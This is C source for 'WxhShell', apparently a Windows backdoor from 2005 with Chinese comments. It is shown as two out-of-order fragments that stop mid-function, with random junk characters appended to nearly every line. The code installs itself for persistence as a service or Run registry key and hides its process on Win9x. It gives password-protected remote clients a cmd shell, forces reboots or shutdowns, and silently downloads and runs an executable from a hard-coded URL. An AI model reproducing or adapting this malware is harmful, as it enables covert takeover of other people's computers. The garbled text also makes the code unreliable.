    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YS=|y}Q|7d  
    if(Boot(SHUTDOWN)) sN|-V+7&j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >C"cv^%c  
    else { ;OQ-T+(T  
    closesocket(wsh); d='z^vHK  
    ExitThread(0); piJ/e  
    } *cCr0\Z`  
    break; pC(AM=RY!  
    } }<7Dyn,  
  // 获取shell ,e+.Q#r*Y  
  case 's': { 'KpCPOhfR  
    CmdShell(wsh); D *W+0  
    closesocket(wsh); *E:w377<}  
    ExitThread(0); W093rNF~  
    break; Na: M1Uhb  
  } 8(ny^]v|  
  // 退出 M['25[  
  case 'x': { <y'B !d#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rMxst  
    CloseIt(wsh); ?"+' OOqik  
    break; ?I}jsm1)  
    } +P|$T:b  
  // 离开 qM3^)U2  
  case 'q': { X0b :Oiw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :i0xer  
    closesocket(wsh); a8M.EFa:  
    WSACleanup(); G+4a%?JH  
    exit(1); 0K>rc1dy  
    break; O/_} O_rR  
        } 7}Z.g9<  
  } QI~s~j  
  } \sHM[n F0  
g_;5"  
  // 提示信息 .Y'kDuUu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B;4hI?  
} pW8pp?  
  } 9UOx~Ty  
#[sC H  
  return; %_M B-  
} 1mOZ\L!m*  
L6BHh_*E  
// shell模块句柄 Q !5Tw  
int CmdShell(SOCKET sock) NF0IF#;a  
{ o]n5pZ\\W<  
STARTUPINFO si; ,8o]XFOr  
ZeroMemory(&si,sizeof(si)); ]=9%fA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q "bpI8j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bx E1Ky8@A  
PROCESS_INFORMATION ProcessInfo; aFo%B; 8m  
char cmdline[]="cmd"; 6`NsX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HG@!J>YaD  
  return 0; '\1%%F7  
} Q9K Gf;  
aO "JT  
// 自身启动模式 6BW-AZc  
int StartFromService(void) |F<U;xV$p  
{ }n=Tw92g  
typedef struct sC ]&Qr_  
{ F"hi2@/TI  
  DWORD ExitStatus; [KWF7GQi  
  DWORD PebBaseAddress; mfG|K@ODM-  
  DWORD AffinityMask; pSQ3 SM  
  DWORD BasePriority; {eIE|   
  ULONG UniqueProcessId; tRbZ^5x\@  
  ULONG InheritedFromUniqueProcessId; #Vul#JHW  
}   PROCESS_BASIC_INFORMATION; #.9Xkn9S  
BxZ}YS:  
PROCNTQSIP NtQueryInformationProcess; }y|% wym  
Uvf-h4^J]:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /qI80KVnN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p: sn>Y  
$0LlaN@e  
  HANDLE             hProcess; a9QaFs"  
  PROCESS_BASIC_INFORMATION pbi; @pytHN8( $  
1{o CMq/v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CvQ LF9|  
  if(NULL == hInst ) return 0; 1Od: I}@  
]*i>KR@G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VmBLNM?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g?j"d{.9t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qFUpvTe  
ZI}m~7  
  if (!NtQueryInformationProcess) return 0; 5 1 x^gX|  
2:pq|eiF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DLS-WL  
  if(!hProcess) return 0; pe,c  
dmlh;Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fbw {)SZ  
[n74&EH  
  CloseHandle(hProcess); 42z9N\ f  
?N11R?8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7MGc+M(p  
if(hProcess==NULL) return 0; ,z%F="@b9  
Crpk q/M  
HMODULE hMod; ::TUSz2/2  
char procName[255]; bL0+v@(r  
unsigned long cbNeeded; DMf^>{[  
i":-g"d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NPB':r-8  
NLz$jk%=g  
  CloseHandle(hProcess); Qs% f6rL  
&`>*3m(  
if(strstr(procName,"services")) return 1; // 以服务启动 &-cI|  
\Z+v\5nmO  
  return 0; // 注册表启动 JH)&Ca>S  
} `=-}S+  
$S,Uoh  
// 主模块 6_XX[.%  
int StartWxhshell(LPSTR lpCmdLine) <5$= Ta  
{ {'!D2y.7g  
  SOCKET wsl; Do_L  
BOOL val=TRUE; ^f`#8G7(  
  int port=0; Rdnd|  
  struct sockaddr_in door; "9WP^[  
IZ2#jSDn  
  if(wscfg.ws_autoins) Install(); U_VD* F4Bv  
k*M{?4  
port=atoi(lpCmdLine); YRYrR|I  
Ok:@F/ v  
if(port<=0) port=wscfg.ws_port; DJn>. Gd  
V9<[v?.\  
  WSADATA data; >_F& oA#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yY"%6k,ZB  
#;mZ3[+i5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Oi7=z?+j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;<&s _C3  
  door.sin_family = AF_INET; Tu6he8Q-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3_ zI$Z  
  door.sin_port = htons(port); } KMdfA  
6@I7UL >  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TTOd0a  
closesocket(wsl); kW,yZ.?f  
return 1; T|{BT! W1E  
} |f>y"T+1  
9*2hBNp+  
  if(listen(wsl,2) == INVALID_SOCKET) { !Uj !Oy  
closesocket(wsl); ^mz_T+UOe  
return 1; gj'ar  
} %^5$=w  
  Wxhshell(wsl);  (K?[gI  
  WSACleanup(); 5cfzpOqr0  
C*gSx3OG  
return 0; lO9>?y8.y  
\2+xMv)8  
} 9J%>2AA  
uq%RZF z(v  
// 以NT服务方式启动 Eui;2P~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 71 A{"  
{ d&ZwVF!  
DWORD   status = 0; 4\$Ze0tv  
  DWORD   specificError = 0xfffffff; /60[T@Mz  
;^*^ :L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7H[+iS0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g Sa,A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #!hpe^t  
  serviceStatus.dwWin32ExitCode     = 0; }j:ae \(  
  serviceStatus.dwServiceSpecificExitCode = 0; S"eKiS,z  
  serviceStatus.dwCheckPoint       = 0; >`NM?KP s  
  serviceStatus.dwWaitHint       = 0; ? {&#l2  
m+u>%Ys`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )5&m:R9  
  if (hServiceStatusHandle==0) return; vEgJmHv;  
J}YI-t  
status = GetLastError(); J-QQ!qa0  
  if (status!=NO_ERROR) e6_.ID'3  
{ 2;&13%@!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {jc~s~<#  
    serviceStatus.dwCheckPoint       = 0; We4 FR4`  
    serviceStatus.dwWaitHint       = 0; vc!S{4bN  
    serviceStatus.dwWin32ExitCode     = status; Wh<lmC50(  
    serviceStatus.dwServiceSpecificExitCode = specificError; +(/Z=4;,[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1a)_Lko  
    return; 34?yQX{  
  } GqAedz;.  
F9c2JBOM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qB=pp!zQ  
  serviceStatus.dwCheckPoint       = 0; sEj:%`l|  
  serviceStatus.dwWaitHint       = 0; 7<tqT @c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b\+|g9Tm  
} cj8r-Vu/N  
lLJb3[ e.  
// 处理NT服务事件,比如:启动、停止 XWvs~Xw@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KXM-GIRUG  
{ .o-j  
switch(fdwControl) OcH- `A  
{ UMX+h])#N  
case SERVICE_CONTROL_STOP: \LYQZ*F  
  serviceStatus.dwWin32ExitCode = 0; cwD0 ~B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P0Jd6"sS"  
  serviceStatus.dwCheckPoint   = 0; 7L\GI`y  
  serviceStatus.dwWaitHint     = 0; y$&a(S]  
  { .kYzB.3@]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mu( Y6  
  } Ab"uN  
  return; ft*0?2N~  
case SERVICE_CONTROL_PAUSE: N Hh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M!hby31  
  break; (G"qIw   
case SERVICE_CONTROL_CONTINUE: * c%@f<R~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _F*w ,b$8  
  break; 2l SM`cw  
case SERVICE_CONTROL_INTERROGATE: FEZ6X  
  break; KGWENX_U  
}; @uE=)mP@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B~aOs>1 S]  
} \I'Zc]  
`kv$B3  
// 标准应用程序主函数 %zD-gw>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UxvsSHi  
{ b(yO  
KALg6DZe:  
// 获取操作系统版本 p%ZiTrA1&D  
OsIsNt=GetOsVer(); pd;-z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6nfkZvn  
'?>eW 2d  
  // 从命令行安装 Q)@1:(V/  
  if(strpbrk(lpCmdLine,"iI")) Install(); O1ha'@qID  
Y1'.m5E  
  // 下载执行文件 I>3]4mI*a  
if(wscfg.ws_downexe) { 4GfLS.Ip  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ygW@[^g  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'f}S ,i +q  
} ]p*) PpIl  
:fYwFD( 9  
if(!OsIsNt) { _Ry.Wth  
// 如果时win9x,隐藏进程并且设置为注册表启动 6uXW`/lvX  
HideProc(); 0oJ^a^|  
StartWxhshell(lpCmdLine); 7qUtsDK  
} ,%'0e /  
else r:5Ve&~  
  if(StartFromService()) Vtg/,1KQ  
  // 以服务方式启动 1b7xw#gLx  
  StartServiceCtrlDispatcher(DispatchTable); ,SM- Z`'  
else +7Lco"\w<  
  // 普通方式启动 /C:'qhY,  
  StartWxhshell(lpCmdLine); xI4I1"/  
u/[]g+  
return 0; *D{/p/|[  
} i-FUAR  
tN{t-xUgk  
@NNLzqqY  
>h[!gXL^  
=========================================== /kA19E4  
B R:  
r^E]GDz  
4 ufLP DH  
q-G|@6O  
(K6`nWk2  
" @Y<tH,*  
uT/B}`md  
#include <stdio.h> h*KHEg"+  
#include <string.h> a-E-hX2  
#include <windows.h> z;C=d(|nN  
#include <winsock2.h> .lBY"W&{  
#include <winsvc.h> mVK9NK  
#include <urlmon.h> v|I5Gz$qpa  
k4$q|x7+%  
#pragma comment (lib, "Ws2_32.lib") KY`96~z  
#pragma comment (lib, "urlmon.lib") xN m32~  
_0*>I1F~  
#define MAX_USER   100 // 最大客户端连接数 B -~&6D,  
#define BUF_SOCK   200 // sock buffer p},Fwbl  
#define KEY_BUFF   255 // 输入 buffer .G_3blE;  
M#cr*%  
#define REBOOT     0   // 重启 l>UUaf|O  
#define SHUTDOWN   1   // 关机 GeaDaYh#T  
(<3lo ZaX  
#define DEF_PORT   5000 // 监听端口 1mJ_I|98  
uvDoo6'  
#define REG_LEN     16   // 注册表键长度 1bJ]3\  
#define SVC_LEN     80   // NT服务名长度 ~snF20  
PS(j)I3  
// 从dll定义API -?nT mzRc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ING_:XpnJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MXF"F:-Kn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H~|%vjH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ARdGh_yJ&  
FMd LkyK;  
// wxhshell配置信息 bjBeiKH  
struct WSCFG { )c*k _/ 4  
  int ws_port;         // 监听端口 5g1M_8e'+  
  char ws_passstr[REG_LEN]; // 口令 NceB'YG|  
  int ws_autoins;       // 安装标记, 1=yes 0=no fHd!/%iG  
  char ws_regname[REG_LEN]; // 注册表键名 {* j^g6;  
  char ws_svcname[REG_LEN]; // 服务名 "Wk{4gS7l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r^A#[-VyNP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `SjD/vNE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [b.'3a++  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yb\\ w<@g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iEpq*Qj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;:4P'FWm^  
'K3 s4x($  
}; =*g$#l4  
>_`D3@Rz  
// default Wxhshell configuration [DxefYyI  
struct WSCFG wscfg={DEF_PORT, ZSRR lkU  
    "xuhuanlingzhe", "P'&+dH8  
    1, `8(h,aj;  
    "Wxhshell", 6 r.H8  
    "Wxhshell", gXu^"  
            "WxhShell Service", AM[jL'r|  
    "Wrsky Windows CmdShell Service", %R|"Afa=  
    "Please Input Your Password: ", Q*:h/Lhb&  
  1, vV.~76AD5  
  "http://www.wrsky.com/wxhshell.exe", >4/L-y+  
  "Wxhshell.exe" :@ E1Pun?  
    }; |jk-@ Z*  
&QTeGn  
// 消息定义模块 43>9)t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &'(a$ S>v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rMHQzQ0%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?7uK P}1|  
char *msg_ws_ext="\n\rExit."; Aw4?y[{H  
char *msg_ws_end="\n\rQuit."; gr>o E#7  
char *msg_ws_boot="\n\rReboot..."; ,|.8nk"  
char *msg_ws_poff="\n\rShutdown..."; xIQ/$[&v  
char *msg_ws_down="\n\rSave to "; MkDK/K$s  
4Oy.,MDQP  
char *msg_ws_err="\n\rErr!"; ojx'g8yO  
char *msg_ws_ok="\n\rOK!"; bEBBwv  
yQZ/ ,KX  
char ExeFile[MAX_PATH]; *`ZB+ \*  
int nUser = 0; 'B3Wza.  
HANDLE handles[MAX_USER]; y~ _za(k  
int OsIsNt; q#99iiG1  
Or+*q91j  
SERVICE_STATUS       serviceStatus; =_RcoG/^~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N^\2 _T  
u  m: 0y,  
// 函数声明 $_RWd#Q(  
int Install(void); G#e9$!  
int Uninstall(void); (!*Xhz,(-  
int DownloadFile(char *sURL, SOCKET wsh); tL~,ZCQz  
int Boot(int flag); E-)VPZ1D  
void HideProc(void); ]3t1=+  
int GetOsVer(void); ]$~Fzs  
int Wxhshell(SOCKET wsl); _ktK+8*6`  
void TalkWithClient(void *cs); + UK%t>E8  
int CmdShell(SOCKET sock); s:+HRJD|  
int StartFromService(void); pw,O"6J*  
int StartWxhshell(LPSTR lpCmdLine); ,-(T"Ph<  
O3kg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~h)@e\Kc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6?V<BgCC  
a)!![X?\  
// 数据结构和表定义 9- xlvU,o  
SERVICE_TABLE_ENTRY DispatchTable[] = mRhd/|g*  
{ ><NI'q*cQ  
{wscfg.ws_svcname, NTServiceMain}, <0u\dU  
{NULL, NULL} vi]r  
}; &8<<!#ob  
0R HS]cN  
// 自我安装 khU6*`lQ  
int Install(void) GilQtd3\  
{ A~Z6jK  
  char svExeFile[MAX_PATH]; 1, "I=  
  HKEY key; ~+O`9&  
  strcpy(svExeFile,ExeFile); m'cz5mcD  
#l*a~^dhqC  
// 如果是win9x系统,修改注册表设为自启动 o84UFhm   
if(!OsIsNt) { 3CR@' qG-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;,1=zhKU.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4_PCq Ep)  
  RegCloseKey(key); pOC% oj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f64(a\Rw!^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M1oPOC\0.  
  RegCloseKey(key); $hkq>i \  
  return 0; /g_9m  
    } oZTgN .q  
  } <9P4}`%)3  
} M|\^UF2e  
else { o#qH2)tb  
CRH{E}>  
// 如果是NT以上系统,安装为系统服务 #6Jc}g< ?g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t, U) ~wi  
if (schSCManager!=0) ^SZw`]  
{ %*wzO9w4  
  SC_HANDLE schService = CreateService `79[+0hL'  
  ( \K}-I  
  schSCManager, d1v<DU>M  
  wscfg.ws_svcname, pO%{'%RA  
  wscfg.ws_svcdisp, Ve{n<{P  
  SERVICE_ALL_ACCESS, C ye T]y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4/S=5r}  
  SERVICE_AUTO_START, vr=~M?  
  SERVICE_ERROR_NORMAL, l DN"atSf  
  svExeFile, A)tP()+)  
  NULL, N]NF\7(  
  NULL, N XpmT4  
  NULL, veeI==]  
  NULL, WRW WskP  
  NULL ~h-C&G ,v  
  ); xwRhs!`t1  
  if (schService!=0) 9lf*O0Z&n  
  { U-i.(UyZ  
  CloseServiceHandle(schService); vT|`%~Be  
  CloseServiceHandle(schSCManager); JB3"EFv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (n,u|}8Y  
  strcat(svExeFile,wscfg.ws_svcname); 4({( i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XZ`:wmc|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3jjMY  
  RegCloseKey(key); #05jC6  
  return 0; lVz9k  
    } )qL&%xz  
  } :ygWNK[ 6D  
  CloseServiceHandle(schSCManager); >ys[I0bo  
} "(v%1tGk  
} iPq &Y*  
r9# \13-  
return 1; bLzs?eos  
} Mi+H#xx16  
+#2)kg 9_  
// 自我卸载 ~ 3^='o  
int Uninstall(void) Z$ p0&~   
{ ,apNwkY  
  HKEY key; 8) N@qUV  
* z'8j  
if(!OsIsNt) { "wAf. =F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oH^(qZ8W  
  RegDeleteValue(key,wscfg.ws_regname); %Y]=1BRk}  
  RegCloseKey(key); (D<(6?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #2RiLht  
  RegDeleteValue(key,wscfg.ws_regname); /kgeV4]zR  
  RegCloseKey(key); hfqqQ!,l!  
  return 0;  ~*M$O&  
  } r> k-KdS  
} u:&o}[  
} ~e `Bq>  
else { Kz jC/1sd  
]PWDE"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {ox2Tg?  
if (schSCManager!=0) sV/l5]b]  
{ O:'?n8rWL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +vW)vS[  
  if (schService!=0) :w`3cw Q  
  { Kv37s0|g  
  if(DeleteService(schService)!=0) { g:7,~}_}^  
  CloseServiceHandle(schService); j~E",7Q'  
  CloseServiceHandle(schSCManager); 20b<68h$:  
  return 0; Fk "Ee&H)(  
  } ~ Vw9  
  CloseServiceHandle(schService); RBwO+J53y  
  } ]}Z4P-"t  
  CloseServiceHandle(schSCManager); Ej=3/RBsV  
} Tlq-m2]  
} 'm3t|:nMU  
!ErH~<f%K  
return 1; 6KHN&P  
} R\mR$\cS  
 x}TS  
// 从指定url下载文件 p8}(kHUp(  
int DownloadFile(char *sURL, SOCKET wsh) POAw M  
{ H#i{?RM@l  
  HRESULT hr; 2o3EHZ+]cm  
char seps[]= "/"; )@gZ;`n  
char *token; 7j$Pt8$  
char *file; #>[a{<;Kn  
char myURL[MAX_PATH]; t23'x0l  
char myFILE[MAX_PATH]; D}3T|N  
>&,[H:Z  
strcpy(myURL,sURL); ,](:<A)W&  
  token=strtok(myURL,seps); _;1}x%4v  
  while(token!=NULL) >j*;vG5T  
  { @{hd{>K*  
    file=token; Bc7V)Y K  
  token=strtok(NULL,seps); G7GZDi  
  } P>i%7:OMZA  
5|QzU|gPn  
GetCurrentDirectory(MAX_PATH,myFILE); ritBU:6  
strcat(myFILE, "\\"); m2~&#c\  
strcat(myFILE, file); Wy .IcWK  
  send(wsh,myFILE,strlen(myFILE),0); 5cJ !"  
send(wsh,"...",3,0); WWKvh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,Lpixnm]  
  if(hr==S_OK) 0AK,&nbF  
return 0; q:\g^_!OGA  
else {q%Sx*k9[  
return 1; {@W93=Vq8  
.Jx9bIw  
} d}'U?6 ob  
h `}}  
// 系统电源模块 *&BnF\?m  
int Boot(int flag) /ID3s`D)  
{ Z@a9mFI?  
  HANDLE hToken; E/M_lvQ  
  TOKEN_PRIVILEGES tkp; KRAcnY;u  
dCyqvg6u  
  if(OsIsNt) { (8$k4`T>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1MlUG5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !RB)_7  
    tkp.PrivilegeCount = 1; <"N_j]wD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s m,VYYs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {n#k,b&9B  
if(flag==REBOOT) { E>b2+;Jv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9,uhf b^]  
  return 0; Vj<:GRNQ,d  
} e^p +1-B  
else { %nN `|\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5r~# 0Zf*  
  return 0; 5 @U<I  
} 3E3U /K  
  } Hy.AyU|L  
  else { ~Q {QM:k  
if(flag==REBOOT) { !oPq?lW9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N`iwC!  
  return 0; 5=Xy,hmnC  
} :Z`:nq.a  
else { zgx&Pte  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L`f^y;Y.  
  return 0; 5oEV-6  
} o#) {1<0vg  
} }En  
De7T s  
return 1; =4V&*go*\  
} ZkL8e  
dQoYCS}IaV  
// win9x进程隐藏模块 4[Z\ ?[  
void HideProc(void) glDcUCF3  
{ v+p {|X-  
7C#`6:tI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {3;AwhN0H  
  if ( hKernel != NULL ) &'cL%.  
  { vEf4HZ&w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hfpJ+[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XL#[ %X9  
    FreeLibrary(hKernel); {{V8;y  
  } #^m0aB7r  
=q N2Xg/  
return; rpeJkG@+  
} SJD@&m%?[  
9T#;,{VQ  
// 获取操作系统版本 P96pm6H_;  
int GetOsVer(void) +]=e;LN$0  
{ zvABU+{jD  
  OSVERSIONINFO winfo; fYKOJ5f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C{TA.\   
  GetVersionEx(&winfo); hxce\OuU0h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) " \I4u{zC  
  return 1;  "KcA  
  else n>@oBG)!  
  return 0; W3`>8v1?o  
} zJe#m|Z  
f{SB1M   
// 客户端句柄模块 @`\VBW  
int Wxhshell(SOCKET wsl) (&/2\0QV  
{ dJ"iEb|4  
  SOCKET wsh; hW{j\@R  
  struct sockaddr_in client; zD?oXs  
  DWORD myID; 3u%{dGa  
UK9@oCIB  
  while(nUser<MAX_USER) ]Q[p@gLd  
{ jzU.Bu.  
  int nSize=sizeof(client); d,Y_GCZ7|W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y*mbjyt[?X  
  if(wsh==INVALID_SOCKET) return 1; ge]STSM0n7  
h iNEJ_f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SG6sw]x  
if(handles[nUser]==0) j*~T1i  
  closesocket(wsh); 9 \^|6k,  
else xf|mlHS+  
  nUser++; 1lv2@QH9  
  } v\(2&*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d)~Fmi;  
qI^ /"k*5  
  return 0; n3J53| %v  
} C6rg<tCH  
NcY608C  
// 关闭 socket B"%{i-v>**  
void CloseIt(SOCKET wsh) AT5aDEb^^  
{ c-.t>r &  
closesocket(wsh); Jx'i2&hGN  
nUser--; M'_9A  
ExitThread(0); Tw +  
} q^6+!&"  
5dZ|!  
// 客户端请求句柄 1sYEZO;  
void TalkWithClient(void *cs) m3o,@=b  
{ 42]pYm(jk3  
;WldHaZ9r  
  SOCKET wsh=(SOCKET)cs; ^MBm==heL  
  char pwd[SVC_LEN]; DBLO|&2!z[  
  char cmd[KEY_BUFF]; JEE{QjTh  
char chr[1]; fGmT_C0t  
int i,j; SNY~9:;]f  
#s!'+|2n  
  while (nUser < MAX_USER) { ]9\!;Bz^J  
P./VmY'  
if(wscfg.ws_passstr) { {3&|tk!*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QBR=0(giF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rb\6;i8R  
  //ZeroMemory(pwd,KEY_BUFF);  \>Efd  
      i=0; /lafve~  
  while(i<SVC_LEN) { y\&>Z yOY  
A&>.74}p  
  // 设置超时 V2N_8)s9W  
  fd_set FdRead; PfkrOsV/m  
  struct timeval TimeOut; 28 3 H  
  FD_ZERO(&FdRead); >0l"P"]  
  FD_SET(wsh,&FdRead); !ti6  
  TimeOut.tv_sec=8; 4b:s<$TZ  
  TimeOut.tv_usec=0; 2B,] -Mu)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F{ELSKcp.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;'-olW~  
D-,L&R!`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fryJW=  
  pwd=chr[0]; n-DVT;y  
  if(chr[0]==0xd || chr[0]==0xa) { 1T:Y0  
  pwd=0; 6 PxW8pn  
  break; @^uH`mc  
  } 8uA,iYD  
  i++; O@YTAT&d#  
    } Z{H5oUk  
bGorH=pb5R  
  // 如果是非法用户,关闭 socket t='# |');  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;[a|9TPR  
} F]9nB3:W  
x"~~l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t!I aUW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ] Eh}L  
Y6&wJ<   
while(1) { +*_5tWAc  
`SVmQSwO[  
  ZeroMemory(cmd,KEY_BUFF); `)QCn<  
z)uuxNv[R  
      // 自动支持客户端 telnet标准   uPniLx\t:  
  j=0; Y[ N^p#t{  
  while(j<KEY_BUFF) { lSH6>0#B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \%p34K\  
  cmd[j]=chr[0]; yS=oUE$  
  if(chr[0]==0xa || chr[0]==0xd) { 6)BR+U  
  cmd[j]=0; u a\,->  
  break; "]-Xmdk09  
  } u<n Lag  
  j++; 5/O'R9A4  
    } ++DG5`  
fK(}Ce  
  // 下载文件 8#Q$zLK42N  
  if(strstr(cmd,"http://")) { Bphof0{<}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cm[c ze+*  
  if(DownloadFile(cmd,wsh)) 2ZQ}7`Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [}fv  dW  
  else ?ByM[E$  
